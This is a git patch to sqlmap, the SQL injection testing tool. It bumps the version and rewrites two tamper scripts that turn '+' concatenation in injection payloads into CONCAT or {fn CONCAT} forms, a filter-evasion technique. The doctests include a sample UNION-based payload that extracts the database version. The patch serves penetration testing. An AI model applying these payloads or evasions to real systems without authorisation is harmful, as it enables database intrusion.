From c3a95e81f5abdb53bf40e4285ba63b9be6fafaa5 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 11 Jul 2019 12:40:56 +0200 Subject: [PATCH] Fixes #3797 --- lib/core/settings.py | 2 +- tamper/plus2concat.py | 50 +++++++------------------------- tamper/plus2fnconcat.py | 64 ++++++++++------------------------------- 3 files changed, 26 insertions(+), 90 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 1e4bbe58c..984ab7cb6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.18" +VERSION = "1.3.7.19" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tamper/plus2concat.py b/tamper/plus2concat.py index f4d7331ba..f94d26685 100644 --- a/tamper/plus2concat.py +++ b/tamper/plus2concat.py @@ -10,7 +10,6 @@ import re from lib.core.common import singleTimeWarnMessage from lib.core.common import zeroDepthSearch -from lib.core.compat import xrange from lib.core.enums import DBMS from lib.core.enums import PRIORITY @@ -35,51 +34,22 @@ def tamper(payload, **kwargs): >>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL') 'SELECT CONCAT(CHAR(113),CHAR(114),CHAR(115)) FROM DUAL' - >>> tamper('SELECT (CHAR(113)+CHAR(114)+CHAR(115)) FROM DUAL') - 'SELECT CONCAT(CHAR(113),CHAR(114),CHAR(115)) FROM DUAL' + >>> tamper('1 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(118)+CHAR(112)+CHAR(112)+CHAR(113)+ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(112)+CHAR(113)-- qtfe') + '1 UNION ALL SELECT NULL,NULL,CONCAT(CHAR(113),CHAR(118),CHAR(112),CHAR(112),CHAR(113),ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32)),CHAR(113),CHAR(112),CHAR(107),CHAR(112),CHAR(113))-- qtfe' """ retVal = payload if payload: - prefix, suffix = '+' * len(re.search(r"\A(\+*)", payload).group(0)), '+' * len(re.search(r"(\+*)\Z", payload).group(0)) - retVal = retVal.strip('+') + match = re.search(r"('[^']+'|CHAR\(\d+\))\+.*(?<=\+)('[^']+'|CHAR\(\d+\))", retVal) + if match: + part = match.group(0) - while True: - indexes = zeroDepthSearch(retVal, '+') + chars = [char for char in part] + for index in zeroDepthSearch(part, '+'): + chars[index] = ',' - if indexes: - first, last = 0, 0 - for i in xrange(1, len(indexes)): - if ' ' in retVal[indexes[0]:indexes[i]]: - break - else: - last = i - - start = retVal[:indexes[first]].rfind(' ') + 1 - end = (retVal[indexes[last] + 1:].find(' ') + indexes[last] + 1) if ' ' in retVal[indexes[last] + 1:] else len(retVal) - 1 - - chars = [char for char in retVal] - for index in indexes[first:last + 1]: - chars[index] = ',' - - retVal = "%sCONCAT(%s)%s" % (retVal[:start], ''.join(chars)[start:end], retVal[end:]) - else: - match = re.search(r"\((CHAR\(\d+.+\bCHAR\(\d+\))\)", retVal) - if match: - part = match.group(0) - indexes = set(zeroDepthSearch(match.group(1), '+')) - if not indexes: - break - chars = [char for char in part] - for i in xrange(1, len(chars)): - if i - 1 in indexes: - chars[i] = ',' - replacement = "CONCAT%s" % "".join(chars) - retVal = retVal.replace(part, replacement) - else: - break - - retVal = "%s%s%s" % (prefix, retVal, suffix) + replacement = "CONCAT(%s)" % "".join(chars) + retVal = retVal.replace(part, replacement) return retVal diff --git a/tamper/plus2fnconcat.py b/tamper/plus2fnconcat.py index 60bcc917c..c0002e53b 100644 --- a/tamper/plus2fnconcat.py +++ b/tamper/plus2fnconcat.py @@ -36,63 +36,29 @@ def tamper(payload, **kwargs): >>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL') 'SELECT {fn CONCAT({fn CONCAT(CHAR(113),CHAR(114))},CHAR(115))} FROM DUAL' - >>> tamper('SELECT (CHAR(113)+CHAR(114)+CHAR(115)) FROM DUAL') - 'SELECT {fn CONCAT({fn CONCAT(CHAR(113),CHAR(114))},CHAR(115))} FROM DUAL' + >>> tamper('1 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(118)+CHAR(112)+CHAR(112)+CHAR(113)+ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(112)+CHAR(113)-- qtfe') + '1 UNION ALL SELECT NULL,NULL,{fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT(CHAR(113),CHAR(118))},CHAR(112))},CHAR(112))},CHAR(113))},ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32)))},CHAR(113))},CHAR(112))},CHAR(107))},CHAR(112))},CHAR(113))}-- qtfe' """ retVal = payload if payload: - prefix, suffix = '+' * len(re.search(r"\A(\+*)", payload).group(0)), '+' * len(re.search(r"(\+*)\Z", payload).group(0)) - retVal = retVal.strip('+') + match = re.search(r"('[^']+'|CHAR\(\d+\))\+.*(?<=\+)('[^']+'|CHAR\(\d+\))", retVal) + if match: + old = match.group(0) + parts = [] + last = 0 - while True: - indexes = zeroDepthSearch(retVal, '+') + for index in zeroDepthSearch(old, '+'): + parts.append(old[last:index].strip('+')) + last = index - if indexes: - first, last = 0, 0 - for i in xrange(1, len(indexes)): - if ' ' in retVal[indexes[0]:indexes[i]]: - break - else: - last = i + parts.append(old[last:].strip('+')) + replacement = parts[0] - start = retVal[:indexes[first]].rfind(' ') + 1 - end = (retVal[indexes[last] + 1:].find(' ') + indexes[last] + 1) if ' ' in retVal[indexes[last] + 1:] else len(retVal) - 1 + for i in xrange(1, len(parts)): + replacement = "{fn CONCAT(%s,%s)}" % (replacement, parts[i]) - count = 0 - chars = [char for char in retVal] - for index in indexes[first:last + 1]: - if count == 0: - chars[index] = ',' - else: - chars[index] = '\x01' - count += 1 - - retVal = "%s%s%s)}%s" % (retVal[:start], "{fn CONCAT(" * count, ''.join(chars)[start:end].replace('\x01', ")},"), retVal[end:]) - else: - match = re.search(r"\((CHAR\(\d+.+\bCHAR\(\d+\))\)", retVal) - if match: - part = match.group(0) - indexes = set(zeroDepthSearch(match.group(1), '+')) - if not indexes: - break - - count = 0 - chars = [char for char in part] - for i in xrange(1, len(chars)): - if i - 1 in indexes: - if count == 0: - chars[i] = ',' - else: - chars[i] = '\x01' - count += 1 - - replacement = "%s%s}" % (("{fn CONCAT(" * count)[:-1], "".join(chars).replace('\x01', ")},")) - retVal = retVal.replace(part, replacement) - else: - break - - retVal = "%s%s%s" % (prefix, retVal, suffix) + retVal = retVal.replace(old, replacement) return retVal